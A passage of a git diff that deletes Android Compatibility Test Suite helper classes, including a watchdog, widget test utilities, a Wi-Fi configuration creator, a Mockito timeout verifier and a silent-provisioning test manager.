- if (TextUtils.isEmpty(description)) {
- throw new IllegalArgumentException("no description");
- }
- if (job == null) {
- throw new IllegalArgumentException("no job");
- }
- if (retryMs < 1) {
- throw new IllegalArgumentException("need to sleep at least 1ms, right?");
- }
- long startTime = SystemClock.elapsedRealtime();
- int attempt = 0;
- long totalSlept = 0;
- while (SystemClock.elapsedRealtime() - startTime <= mCurrentValue) {
- final T result = job.call();
- if (result != null) {
- // Good news, everyone: job succeeded on first attempt!
- return result;
- }
- attempt++;
- final long napTime = Math.min(retryMs, mCurrentValue - totalSlept);
- if (VERBOSE) {
- Log.v(TAG, description + " failed at attempt #" + attempt + "; sleeping for "
- + napTime + "ms before trying again");
- }
- mSleeper.sleep(napTime);
- totalSlept += napTime;
-
- retryMs *= mMultiplier;
- }
- Log.w(TAG, description + " failed after " + attempt + " attempts and " + totalSlept + "ms: "
- + this);
- throw new RetryableException(this, description);
- }
-
- @Override
- public String toString() {
- return mName + ": [current=" + mCurrentValue + "ms; multiplier=" + mMultiplier + "x; max="
- + mMaxValue + "ms]";
- }
-
- @VisibleForTesting
- interface Sleeper {
- void sleep(long napTimeMs);
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/Visitor.java b/common/device-side/util/src/com/android/compatibility/common/util/Visitor.java
deleted file mode 100644
index ab4bbfb..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/Visitor.java
+++ /dev/null
@@ -1,31 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-import androidx.annotation.NonNull;
-
-/**
- * Implements the Visitor design pattern
- *
- * @param <V> visited object
- */
-public interface Visitor<V> {
-
- /**
- * Visit that object.
- */
- void visit(@NonNull V visited);
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/WatchDog.java b/common/device-side/util/src/com/android/compatibility/common/util/WatchDog.java
deleted file mode 100644
index efcc693..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/WatchDog.java
+++ /dev/null
@@ -1,103 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-import java.util.concurrent.Semaphore;
-import java.util.concurrent.TimeUnit;
-
-import android.util.Log;
-
-import junit.framework.Assert;
-
-/**
- * class for checking if rendering function is alive or not.
- * panic if watch-dog is not reset over certain amount of time
- */
-public class WatchDog implements Runnable {
- private static final String TAG = "WatchDog";
- private Thread mThread;
- private Semaphore mSemaphore;
- private volatile boolean mStopRequested;
- private final long mTimeoutInMilliSecs;
- private TimeoutCallback mCallback = null;
-
- public WatchDog(long timeoutInMilliSecs) {
- mTimeoutInMilliSecs = timeoutInMilliSecs;
- }
-
- public WatchDog(long timeoutInMilliSecs, TimeoutCallback callback) {
- this(timeoutInMilliSecs);
- mCallback = callback;
- }
-
- /** start watch-dog */
- public void start() {
- Log.i(TAG, "start");
- mStopRequested = false;
- mSemaphore = new Semaphore(0);
- mThread = new Thread(this);
- mThread.start();
- }
-
- /** stop watch-dog */
- public void stop() {
- Log.i(TAG, "stop");
- if (mThread == null) {
- return; // already finished
- }
- mStopRequested = true;
- mSemaphore.release();
- try {
- mThread.join();
- } catch (InterruptedException e) {
- // ignore
- }
- mThread = null;
- mSemaphore = null;
- }
-
- /** resets watch-dog, thus prevent it from panic */
- public void reset() {
- if (!mStopRequested) { // stop requested, but rendering still on-going
- mSemaphore.release();
- }
- }
-
- @Override
- public void run() {
- while (!mStopRequested) {
- try {
- boolean success = mSemaphore.tryAcquire(mTimeoutInMilliSecs, TimeUnit.MILLISECONDS);
- if (mCallback == null) {
- Assert.assertTrue("Watchdog timed-out", success);
- } else if (!success) {
- mCallback.onTimeout();
- }
- } catch (InterruptedException e) {
- // this thread will not be interrupted,
- // but if it happens, just check the exit condition.
- }
- }
- }
-
- /**
- * Called by the Watchdog when it has timed out.
- */
- public interface TimeoutCallback {
-
- public void onTimeout();
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/WidgetTestUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/WidgetTestUtils.java
deleted file mode 100644
index 2f2b8f7..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/WidgetTestUtils.java
+++ /dev/null
@@ -1,312 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import static android.view.ViewTreeObserver.OnDrawListener;
-import static android.view.ViewTreeObserver.OnGlobalLayoutListener;
-
-import static org.mockito.hamcrest.MockitoHamcrest.argThat;
-
-import android.content.Context;
-import android.content.res.Resources;
-import android.graphics.Bitmap;
-import android.graphics.BitmapFactory;
-import android.support.test.rule.ActivityTestRule;
-import android.text.Editable;
-import android.text.TextUtils;
-import android.view.View;
-import android.view.ViewTreeObserver;
-
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-
-import junit.framework.Assert;
-
-import org.hamcrest.BaseMatcher;
-import org.hamcrest.Description;
-import org.xmlpull.v1.XmlPullParser;
-import org.xmlpull.v1.XmlPullParserException;
-
-import java.io.IOException;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-/**
- * The useful methods for widget test.
- */
-public class WidgetTestUtils {
- /**
- * Assert that two bitmaps have identical content (same dimensions, same configuration,
- * same pixel content).
- *
- * @param b1 the first bitmap which needs to compare.
- * @param b2 the second bitmap which needs to compare.
- */
- public static void assertEquals(Bitmap b1, Bitmap b2) {
- if (b1 == b2) {
- return;
- }
-
- if (b1 == null || b2 == null) {
- Assert.fail("the bitmaps are not equal");
- }
-
- // b1 and b2 are all not null.
- if (b1.getWidth() != b2.getWidth() || b1.getHeight() != b2.getHeight()
- || b1.getConfig() != b2.getConfig()) {
- Assert.fail("the bitmaps are not equal");
- }
-
- int w = b1.getWidth();
- int h = b1.getHeight();
- int s = w * h;
- int[] pixels1 = new int[s];
- int[] pixels2 = new int[s];
-
- b1.getPixels(pixels1, 0, w, 0, 0, w, h);
- b2.getPixels(pixels2, 0, w, 0, 0, w, h);
-
- for (int i = 0; i < s; i++) {
- if (pixels1[i] != pixels2[i]) {
- Assert.fail("the bitmaps are not equal");
- }
- }
- }
-
- /**
- * Find beginning of the special element.
- * @param parser XmlPullParser will be parsed.
- * @param firstElementName the target element name.
- *
- * @throws XmlPullParserException if XML Pull Parser related faults occur.
- * @throws IOException if I/O-related error occur when parsing.
- */
- public static final void beginDocument(XmlPullParser parser, String firstElementName)
- throws XmlPullParserException, IOException {
- Assert.assertNotNull(parser);
- Assert.assertNotNull(firstElementName);
-
- int type;
- while ((type = parser.next()) != XmlPullParser.START_TAG
- && type != XmlPullParser.END_DOCUMENT) {
- ;
- }
-
- if (!parser.getName().equals(firstElementName)) {
- throw new XmlPullParserException("Unexpected start tag: found " + parser.getName()
- + ", expected " + firstElementName);
- }
- }
-
- /**
- * Compare the expected pixels with actual, scaling for the target context density
- *
- * @throws AssertionFailedError
- */
- public static void assertScaledPixels(int expected, int actual, Context context) {
- Assert.assertEquals(expected * context.getResources().getDisplayMetrics().density,
- actual, 3);
- }
-
- /** Converts dips into pixels using the {@link Context}'s density. */
- public static int convertDipToPixels(Context context, int dip) {
- float density = context.getResources().getDisplayMetrics().density;
- return Math.round(density * dip);
- }
-
- /**
- * Retrieve a bitmap that can be used for comparison on any density
- * @param resources
- * @return the {@link Bitmap} or <code>null</code>
- */
- public static Bitmap getUnscaledBitmap(Resources resources, int resId) {
- BitmapFactory.Options options = new BitmapFactory.Options();
- options.inScaled = false;
- return BitmapFactory.decodeResource(resources, resId, options);
- }
-
- /**
- * Retrieve a dithered bitmap that can be used for comparison on any density
- * @param resources
- * @param config the preferred config for the returning bitmap
- * @return the {@link Bitmap} or <code>null</code>
- */
- public static Bitmap getUnscaledAndDitheredBitmap(Resources resources,
- int resId, Bitmap.Config config) {
- BitmapFactory.Options options = new BitmapFactory.Options();
- options.inDither = true;
- options.inScaled = false;
- options.inPreferredConfig = config;
- return BitmapFactory.decodeResource(resources, resId, options);
- }
-
- /**
- * Argument matcher for equality check of a CharSequence.
- *
- * @param expected expected CharSequence
- *
- * @return
- */
- public static CharSequence sameCharSequence(final CharSequence expected) {
- return argThat(new BaseMatcher<CharSequence>() {
- @Override
- public boolean matches(Object o) {
- if (o instanceof CharSequence) {
- return TextUtils.equals(expected, (CharSequence) o);
- }
- return false;
- }
-
- @Override
- public void describeTo(Description description) {
- description.appendText("doesn't match " + expected);
- }
- });
- }
-
- /**
- * Argument matcher for equality check of an Editable.
- *
- * @param expected expected Editable
- *
- * @return
- */
- public static Editable sameEditable(final Editable expected) {
- return argThat(new BaseMatcher<Editable>() {
- @Override
- public boolean matches(Object o) {
- if (o instanceof Editable) {
- return TextUtils.equals(expected, (Editable) o);
- }
- return false;
- }
-
- @Override
- public void describeTo(Description description) {
- description.appendText("doesn't match " + expected);
- }
- });
- }
-
- /**
- * Runs the specified {@link Runnable} on the main thread and ensures that the specified
- * {@link View}'s tree is drawn before returning.
- *
- * @param activityTestRule the activity test rule used to run the test
- * @param view the view whose tree should be drawn before returning
- * @param runner the runnable to run on the main thread, or {@code null} to
- * simply force invalidation and a draw pass
- */
- public static void runOnMainAndDrawSync(@NonNull final ActivityTestRule activityTestRule,
- @NonNull final View view, @Nullable final Runnable runner) {
- final CountDownLatch latch = new CountDownLatch(1);
-
- try {
- activityTestRule.runOnUiThread(() -> {
- final OnDrawListener listener = new OnDrawListener() {
- @Override
- public void onDraw() {
- // posting so that the sync happens after the draw that's about to happen
- view.post(() -> {
- activityTestRule.getActivity().getWindow().getDecorView()
- .getViewTreeObserver().removeOnDrawListener(this);
- latch.countDown();
- });
- }
- };
-
- activityTestRule.getActivity().getWindow().getDecorView()
- .getViewTreeObserver().addOnDrawListener(listener);
-
- if (runner != null) {
- runner.run();
- }
- view.invalidate();
- });
-
- Assert.assertTrue("Expected draw pass occurred within 5 seconds",
- latch.await(5, TimeUnit.SECONDS));
- } catch (Throwable t) {
- throw new RuntimeException(t);
- }
- }
-
- /**
- * Runs the specified Runnable on the main thread and ensures that the activity's view tree is
- * laid out before returning.
- *
- * @param activityTestRule the activity test rule used to run the test
- * @param runner the runnable to run on the main thread. {@code null} is
- * allowed, and simply means that there no runnable is required.
- * @param forceLayout true if there should be an explicit call to requestLayout(),
- * false otherwise
- */
- public static void runOnMainAndLayoutSync(@NonNull final ActivityTestRule activityTestRule,
- @Nullable final Runnable runner, boolean forceLayout)
- throws Throwable {
- runOnMainAndLayoutSync(activityTestRule,
- activityTestRule.getActivity().getWindow().getDecorView(), runner, forceLayout);
- }
-
- /**
- * Runs the specified Runnable on the main thread and ensures that the specified view is
- * laid out before returning.
- *
- * @param activityTestRule the activity test rule used to run the test
- * @param view The view
- * @param runner the runnable to run on the main thread. {@code null} is
- * allowed, and simply means that there no runnable is required.
- * @param forceLayout true if there should be an explicit call to requestLayout(),
- * false otherwise
- */
- public static void runOnMainAndLayoutSync(@NonNull final ActivityTestRule activityTestRule,
- @NonNull final View view, @Nullable final Runnable runner, boolean forceLayout)
- throws Throwable {
- final View rootView = view.getRootView();
-
- final CountDownLatch latch = new CountDownLatch(1);
-
- activityTestRule.runOnUiThread(() -> {
- final OnGlobalLayoutListener listener = new ViewTreeObserver.OnGlobalLayoutListener() {
- @Override
- public void onGlobalLayout() {
- rootView.getViewTreeObserver().removeOnGlobalLayoutListener(this);
- // countdown immediately since the layout we were waiting on has happened
- latch.countDown();
- }
- };
-
- rootView.getViewTreeObserver().addOnGlobalLayoutListener(listener);
-
- if (runner != null) {
- runner.run();
- }
-
- if (forceLayout) {
- rootView.requestLayout();
- }
- });
-
- try {
- Assert.assertTrue("Expected layout pass within 5 seconds",
- latch.await(5, TimeUnit.SECONDS));
- } catch (InterruptedException e) {
- throw new RuntimeException(e);
- }
- }
-
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/WifiConfigCreator.java b/common/device-side/util/src/com/android/compatibility/common/util/WifiConfigCreator.java
deleted file mode 100755
index f2d1f65..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/WifiConfigCreator.java
+++ /dev/null
@@ -1,258 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import static android.net.wifi.WifiManager.EXTRA_WIFI_STATE;
-import static android.net.wifi.WifiManager.WIFI_STATE_ENABLED;
-
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.net.ProxyInfo;
-import android.net.Uri;
-import android.net.wifi.WifiConfiguration;
-import android.net.wifi.WifiManager;
-import android.text.TextUtils;
-import android.util.Log;
-
-import java.util.List;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-/**
- * A simple activity to create and manage wifi configurations.
- */
-public class WifiConfigCreator {
- public static final String ACTION_CREATE_WIFI_CONFIG =
- "com.android.compatibility.common.util.CREATE_WIFI_CONFIG";
- public static final String ACTION_UPDATE_WIFI_CONFIG =
- "com.android.compatibility.common.util.UPDATE_WIFI_CONFIG";
- public static final String ACTION_REMOVE_WIFI_CONFIG =
- "com.android.compatibility.common.util.REMOVE_WIFI_CONFIG";
- public static final String EXTRA_NETID = "extra-netid";
- public static final String EXTRA_SSID = "extra-ssid";
- public static final String EXTRA_SECURITY_TYPE = "extra-security-type";
- public static final String EXTRA_PASSWORD = "extra-password";
-
- public static final int SECURITY_TYPE_NONE = 1;
- public static final int SECURITY_TYPE_WPA = 2;
- public static final int SECURITY_TYPE_WEP = 3;
-
- private static final String TAG = "WifiConfigCreator";
-
- private static final long ENABLE_WIFI_WAIT_SEC = 10L;
-
- private final Context mContext;
- private final WifiManager mWifiManager;
-
- public WifiConfigCreator(Context context) {
- mContext = context;
- mWifiManager = (WifiManager) context.getSystemService(Context.WIFI_SERVICE);
- }
-
- /**
- * Adds a new WiFi network.
- * @return network id or -1 in case of error
- */
- public int addNetwork(String ssid, boolean hidden, int securityType,
- String password) throws InterruptedException, SecurityException {
- checkAndEnableWifi();
-
- WifiConfiguration wifiConf = createConfig(ssid, hidden, securityType, password);
-
- int netId = mWifiManager.addNetwork(wifiConf);
-
- if (netId != -1) {
- mWifiManager.enableNetwork(netId, true);
- } else {
- Log.w(TAG, "Unable to add SSID '" + ssid + "': netId = " + netId);
- }
- return netId;
- }
-
- /**
- * Adds a new wifiConfiguration with OPEN security type, and the given pacProxy
- * verifies that the proxy is added by getting the configuration back, and checking it.
- * @return returns the PAC proxy URL after adding the network and getting it from WifiManager
- * @throws IllegalStateException if any of the WifiManager operations fail
- */
- public String addHttpProxyNetworkVerifyAndRemove(String ssid, String pacProxyUrl)
- throws IllegalStateException {
- String retrievedPacProxyUrl = null;
- int netId = -1;
- try {
- WifiConfiguration conf = createConfig(ssid, false, SECURITY_TYPE_NONE, null);
- if (pacProxyUrl != null) {
- conf.setHttpProxy(ProxyInfo.buildPacProxy(Uri.parse(pacProxyUrl)));
- }
- netId = mWifiManager.addNetwork(conf);
- if (netId == -1) {
- throw new IllegalStateException("Failed to addNetwork: " + ssid);
- }
- for (final WifiConfiguration w : mWifiManager.getConfiguredNetworks()) {
- if (w.SSID.equals(ssid)) {
- conf = w;
- break;
- }
- }
- if (conf == null) {
- throw new IllegalStateException("Failed to get WifiConfiguration for: " + ssid);
- }
- Uri pacProxyFileUri = null;
- ProxyInfo httpProxy = conf.getHttpProxy();
- if (httpProxy != null) pacProxyFileUri = httpProxy.getPacFileUrl();
- if (pacProxyFileUri != null) {
- retrievedPacProxyUrl = conf.getHttpProxy().getPacFileUrl().toString();
- }
- if (!mWifiManager.removeNetwork(netId)) {
- throw new IllegalStateException("Failed to remove WifiConfiguration: " + ssid);
- }
- } finally {
- mWifiManager.removeNetwork(netId);
- }
- return retrievedPacProxyUrl;
- }
-
- /**
- * Updates a new WiFi network.
- * @return network id (may differ from original) or -1 in case of error
- */
- public int updateNetwork(WifiConfiguration wifiConf, String ssid, boolean hidden,
- int securityType, String password) throws InterruptedException, SecurityException {
- checkAndEnableWifi();
- if (wifiConf == null) {
- return -1;
- }
-
- WifiConfiguration conf = createConfig(ssid, hidden, securityType, password);
- conf.networkId = wifiConf.networkId;
-
- int newNetId = mWifiManager.updateNetwork(conf);
-
- if (newNetId != -1) {
- mWifiManager.saveConfiguration();
- mWifiManager.enableNetwork(newNetId, true);
- } else {
- Log.w(TAG, "Unable to update SSID '" + ssid + "': netId = " + newNetId);
- }
- return newNetId;
- }
-
- /**
- * Updates a new WiFi network.
- * @return network id (may differ from original) or -1 in case of error
- */
- public int updateNetwork(int netId, String ssid, boolean hidden,
- int securityType, String password) throws InterruptedException, SecurityException {
- checkAndEnableWifi();
-
- WifiConfiguration wifiConf = null;
- List<WifiConfiguration> configs = mWifiManager.getConfiguredNetworks();
- for (WifiConfiguration config : configs) {
- if (config.networkId == netId) {
- wifiConf = config;
- break;
- }
- }
- return updateNetwork(wifiConf, ssid, hidden, securityType, password);
- }
-
- public boolean removeNetwork(int netId) {
- return mWifiManager.removeNetwork(netId);
- }
-
- /**
- * Creates a WifiConfiguration set up according to given parameters
- * @param ssid SSID of the network
- * @param hidden Is SSID not broadcast?
- * @param securityType One of {@link #SECURITY_TYPE_NONE}, {@link #SECURITY_TYPE_WPA} or
- * {@link #SECURITY_TYPE_WEP}
- * @param password Password for WPA or WEP
- * @return Created configuration object
- */
- private WifiConfiguration createConfig(String ssid, boolean hidden, int securityType,
- String password) {
- WifiConfiguration wifiConf = new WifiConfiguration();
- if (!TextUtils.isEmpty(ssid)) {
- wifiConf.SSID = '"' + ssid + '"';
- }
- wifiConf.status = WifiConfiguration.Status.ENABLED;
- wifiConf.hiddenSSID = hidden;
- switch (securityType) {
- case SECURITY_TYPE_NONE:
- wifiConf.allowedKeyManagement.set(WifiConfiguration.KeyMgmt.NONE);
- break;
- case SECURITY_TYPE_WPA:
- updateForWPAConfiguration(wifiConf, password);
- break;
- case SECURITY_TYPE_WEP:
- updateForWEPConfiguration(wifiConf, password);
- break;
- }
- return wifiConf;
- }
-
- private void updateForWPAConfiguration(WifiConfiguration wifiConf, String wifiPassword) {
- wifiConf.allowedKeyManagement.set(WifiConfiguration.KeyMgmt.WPA_PSK);
- if (!TextUtils.isEmpty(wifiPassword)) {
- wifiConf.preSharedKey = '"' + wifiPassword + '"';
- }
- }
-
- private void updateForWEPConfiguration(WifiConfiguration wifiConf, String password) {
- wifiConf.allowedKeyManagement.set(WifiConfiguration.KeyMgmt.NONE);
- wifiConf.allowedAuthAlgorithms.set(WifiConfiguration.AuthAlgorithm.OPEN);
- wifiConf.allowedAuthAlgorithms.set(WifiConfiguration.AuthAlgorithm.SHARED);
- if (!TextUtils.isEmpty(password)) {
- int length = password.length();
- if ((length == 10 || length == 26
- || length == 58) && password.matches("[0-9A-Fa-f]*")) {
- wifiConf.wepKeys[0] = password;
- } else {
- wifiConf.wepKeys[0] = '"' + password + '"';
- }
- wifiConf.wepTxKeyIndex = 0;
- }
- }
-
- private void checkAndEnableWifi() throws InterruptedException {
- final CountDownLatch enabledLatch = new CountDownLatch(1);
-
- // Register a change receiver first to pick up events between isEnabled and setEnabled
- final BroadcastReceiver watcher = new BroadcastReceiver() {
- @Override
- public void onReceive(Context context, Intent intent) {
- if (intent.getIntExtra(EXTRA_WIFI_STATE, -1) == WIFI_STATE_ENABLED) {
- enabledLatch.countDown();
- }
- }
- };
-
- mContext.registerReceiver(watcher, new IntentFilter(WifiManager.WIFI_STATE_CHANGED_ACTION));
- try {
- // In case wifi is not already enabled, wait for it to come up
- if (!mWifiManager.isWifiEnabled()) {
- SystemUtil.runShellCommand("svc wifi enable");
- enabledLatch.await(ENABLE_WIFI_WAIT_SEC, TimeUnit.SECONDS);
- }
- } finally {
- mContext.unregisterReceiver(watcher);
- }
- }
-}
-
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/Within.java b/common/device-side/util/src/com/android/compatibility/common/util/Within.java
deleted file mode 100644
index 4d9ff80..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/Within.java
+++ /dev/null
@@ -1,91 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-import android.os.SystemClock;
-
-import org.mockito.Mockito;
-import org.mockito.exceptions.base.MockitoAssertionError;
-import org.mockito.internal.verification.api.VerificationData;
-import org.mockito.invocation.Invocation;
-import org.mockito.verification.VerificationMode;
-
-import java.util.List;
-
-/**
- * Custom verification mode that allows waiting for the specific invocation to happen within
- * a certain time interval. Not that unlike {@link Mockito#timeout(int)}, this mode will not
- * return early and throw exception if the expected method was called with a different set of
- * parameters before the call that we're waiting for.
- */
-public class Within implements VerificationMode {
- private static final long TIME_SLICE = 50;
- private final long mTimeout;
-
- public Within(long timeout) {
- mTimeout = timeout;
- }
-
- @Override
- public void verify(VerificationData data) {
- long timeout = mTimeout;
- MockitoAssertionError errorToRethrow = null;
- // Loop in the same way we do in PollingCheck, sleeping and then testing for the target
- // invocation
- while (timeout > 0) {
- SystemClock.sleep(TIME_SLICE);
-
- try {
- final List<Invocation> actualInvocations = data.getAllInvocations();
- // Iterate over all invocations so far to see if we have a match
- for (Invocation invocation : actualInvocations) {
- if (data.getWanted().matches(invocation)) {
- // Found our match within our timeout. Mark all invocations as verified
- markAllInvocationsAsVerified(data);
- // and return
- return;
- }
- }
- } catch (MockitoAssertionError assertionError) {
- errorToRethrow = assertionError;
- }
-
- timeout -= TIME_SLICE;
- }
-
- if (errorToRethrow != null) {
- throw errorToRethrow;
- }
-
- throw new MockitoAssertionError(
- "Timed out while waiting " + mTimeout + "ms for " + data.getWanted().toString());
- }
-
- // TODO: Uncomment once upgraded to 2.7.13
- // @Override
- public VerificationMode description(String description) {
- // Return this for now.
- // TODO: Return wrapper once upgraded to 2.7.13
- return this;
- }
-
- private void markAllInvocationsAsVerified(VerificationData data) {
- for (Invocation invocation : data.getAllInvocations()) {
- invocation.markVerified();
- data.getWanted().captureArgumentsFrom(invocation);
- }
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/devicepolicy/provisioning/IBooleanCallback.aidl b/common/device-side/util/src/com/android/compatibility/common/util/devicepolicy/provisioning/IBooleanCallback.aidl
deleted file mode 100644
index 2fdb26b..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/devicepolicy/provisioning/IBooleanCallback.aidl
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util.devicepolicy.provisioning;
-
-interface IBooleanCallback {
- oneway void onResult(boolean result);
-}
\ No newline at end of file
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/devicepolicy/provisioning/SilentProvisioningTestManager.java b/common/device-side/util/src/com/android/compatibility/common/util/devicepolicy/provisioning/SilentProvisioningTestManager.java
deleted file mode 100644
index 05edf1a..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/devicepolicy/provisioning/SilentProvisioningTestManager.java
+++ /dev/null
@@ -1,179 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util.devicepolicy.provisioning;
-
-import static android.app.admin.DevicePolicyManager.ACTION_MANAGED_PROFILE_PROVISIONED;
-import static android.app.admin.DevicePolicyManager.ACTION_PROVISION_MANAGED_PROFILE;
-import static android.content.Intent.ACTION_MANAGED_PROFILE_ADDED;
-
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.os.Bundle;
-import android.os.RemoteException;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.uiautomator.UiDevice;
-import android.util.Log;
-
-import com.android.compatibility.common.util.BlockingBroadcastReceiver;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.LinkedBlockingQueue;
-import java.util.concurrent.TimeUnit;
-
-public class SilentProvisioningTestManager {
- private static final long TIMEOUT_SECONDS = 120L;
- private static final String TAG = "SilentProvisioningTest";
-
- private final LinkedBlockingQueue<Boolean> mProvisioningResults = new LinkedBlockingQueue(1);
-
- private final IBooleanCallback mProvisioningResultCallback = new IBooleanCallback.Stub() {
- @Override
- public void onResult(boolean result) {
- try {
- mProvisioningResults.put(result);
- } catch (InterruptedException e) {
- Log.e(TAG, "IBooleanCallback.callback", e);
- }
- }
- };
-
- private final Context mContext;
- private Intent mReceivedProfileProvisionedIntent;
-
- public SilentProvisioningTestManager(Context context) {
- mContext = context.getApplicationContext();
- }
-
- public Intent getReceviedProfileProvisionedIntent() {
- return mReceivedProfileProvisionedIntent;
- }
-
- public boolean startProvisioningAndWait(Intent provisioningIntent) throws InterruptedException {
- wakeUpAndDismissInsecureKeyguard();
- mContext.startActivity(getStartIntent(provisioningIntent));
- Log.i(TAG, "startActivity with intent: " + provisioningIntent);
-
- if (ACTION_PROVISION_MANAGED_PROFILE.equals(provisioningIntent.getAction())) {
- return waitManagedProfileProvisioning();
- } else {
- return waitDeviceOwnerProvisioning();
- }
- }
-
- private boolean waitDeviceOwnerProvisioning() throws InterruptedException {
- return pollProvisioningResult();
- }
-
- private boolean waitManagedProfileProvisioning() throws InterruptedException {
- BlockingBroadcastReceiver managedProfileProvisionedReceiver =
- new BlockingBroadcastReceiver(mContext, ACTION_MANAGED_PROFILE_PROVISIONED);
- BlockingBroadcastReceiver managedProfileAddedReceiver =
- new BlockingBroadcastReceiver(mContext, ACTION_MANAGED_PROFILE_ADDED);
- try {
- managedProfileProvisionedReceiver.register();
- managedProfileAddedReceiver.register();
-
- if (!pollProvisioningResult()) {
- return false;
- }
-
- mReceivedProfileProvisionedIntent =
- managedProfileProvisionedReceiver.awaitForBroadcast();
- if (mReceivedProfileProvisionedIntent == null) {
- Log.i(TAG, "managedProfileProvisionedReceiver.awaitForBroadcast(): failed");
- return false;
- }
-
- if (managedProfileAddedReceiver.awaitForBroadcast() == null) {
- Log.i(TAG, "managedProfileAddedReceiver.awaitForBroadcast(): failed");
- return false;
- }
- } finally {
- managedProfileProvisionedReceiver.unregisterQuietly();
- managedProfileAddedReceiver.unregisterQuietly();
- }
- return true;
- }
-
- private boolean pollProvisioningResult() throws InterruptedException {
- Boolean result = mProvisioningResults.poll(TIMEOUT_SECONDS, TimeUnit.SECONDS);
- if (result == null) {
- Log.i(TAG, "ManagedProvisioning doesn't return result within "
- + TIMEOUT_SECONDS + " seconds ");
- return false;
- }
-
- if (!result) {
- Log.i(TAG, "Failed to provision");
- return false;
- }
- return true;
- }
-
- private Intent getStartIntent(Intent intent) {
- final Bundle bundle = new Bundle();
- bundle.putParcelable(Intent.EXTRA_INTENT, intent);
- bundle.putBinder(StartProvisioningActivity.EXTRA_BOOLEAN_CALLBACK,
- mProvisioningResultCallback.asBinder());
- return new Intent(mContext, StartProvisioningActivity.class)
- .putExtras(bundle)
